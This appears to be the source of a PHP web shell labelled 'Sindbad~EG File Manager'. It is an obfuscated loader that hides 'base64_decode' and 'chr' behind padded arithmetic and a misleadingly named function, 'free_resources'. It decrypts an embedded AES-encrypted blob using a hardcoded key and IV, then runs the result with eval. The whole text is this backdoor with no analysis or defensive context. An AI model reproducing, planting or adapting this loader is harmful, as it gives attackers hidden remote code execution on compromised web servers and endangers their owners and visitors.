Sindbad~EG File Manager

<?php
$naz = array(98 - 4 + 4 + 10 + 10 - (10 + 10) + 8 + 3 - (8 + 3) + 4 + 10 - (4 + 10), 97 * 97 / 97 * 97 / 97 - 19 + 19 - 5 + 5 + 14 - 14, 115 - 13 + 13 + 4 + 7 - (4 + 7) - 14 + 14, 101 - 14 + 14 + 3 - 3 + 1 + 1 - (1 + 1) - 20 + 20, 54 * 1 / 1 * 1 / 1, 52 + 10 - 10 + 10 + 3 - (10 + 3) + 18 - 18 + 7 - 7 - 19 + 19, 95 + 1 + 9 - (1 + 9) + 17 - 17 - 18 + 18, 100 * 10 / 10 * 1 / 1, 101 * 101 / 101 + 13 - 13, 99 + 16 - 16 + 9 + 9 - (9 + 9) + 15 - 15, (111 - 20 + 20 * 1) / 1 * 1 / 1 + 3 + 4 - (3 + 4) + 10 - 10, 100 + 2 + 2 - (2 + 2) + 4 + 6 - (4 + 6) - 11 + 11, (101 - 6 + 6 - 12 + 12 * 1) / 1);
$kzn = '';
foreach ($naz as $uii) {
    $kzn .= free_resources($uii);
}
$rcn = 'uRTApLMN0PlSZdyNmOGutkVrT0neYkwK6wL0uptI5VWUXX6XuxWFActDVk/fuDiO4BBh8U6cUlPuFFJW0V9kp7JFPXZHLU8GjvNyJCie/H9jDQl903nUEYg05h31zeiKrz8SP9bTgbyuFV1iMI7oMP1DdsA4Xhi2FdXhvEJ4WN40mbX6qCb+NlVR7vrvoRKRmxU6cXkDV4NeJVtrlfhWTQaC6QsSfj+aja/fAHN2LQiAF+fcgnkgnsCm731P94sUUn+YzU/AuXqIqZWBjKixqjByAdQpixV1ucauuZn+kh2SVLjNQt1lgi29xtR1uFxzCZGWWi/imZpp2FNjEqsA2loPkeX1GrJMjN9l+Ru530ijctD55d+A/3rvr9mJk5WJ2UrUTEZUi/BSL/W77rJorJOBmTpcqJw/ph4F8E5o5Ycju215LDJ1YBt45DWojvKTq99LpQWHG2LLSNTfntKO1hP7qEv7eBukET2XZkCnGl5ZulKD/AddIpeVpKvluYCmWU/mctR5/kHxn1m7OP4v+0Q+Jmn5ytK+o6+l/bDF3Ur5H4Vi76hPLKAcst3gwXNI0BIVMjLqsP/80ImQRZNlqF/aOXhAt78qFUNwu3QuenVGmz+msjX2UU4Mz6mPGq1HMw/xPwcnYw6W4nWsl2N/4ifL36KfCUPa6zh2Mz1/Yi2vszAk9BxCDS/PkCgGXCPEIF+BNB2fmoCdch6fHazz3BuzRUs3+iFUvBZZ+P2CJGFUf4YCr324kFS7s6J7SwMMwliR/otEP8KvJbZnDHgpEw==';
$nxy = 'nlUaN7Dx8EJxnA3sbvTfAPXnLmGpoJsn5AFs5IW8IV4=';
$fdw = 'Boj5L7P+t9cjzWr8Z2eqKA==';
$zai = openssl_decrypt($kzn($rcn), 'aes-256-cbc', $kzn($nxy), OPENSSL_RAW_DATA, $kzn($fdw));
eval($zai);

function free_resources($x)
{
    $t = array(28 * 4 + 2, 110 - 6, 50 + 49);
    $i = '';
    foreach ($t as $q) {
        $i .= chr($q);
    }
    $i = strrev($i);
    return $i($x);
}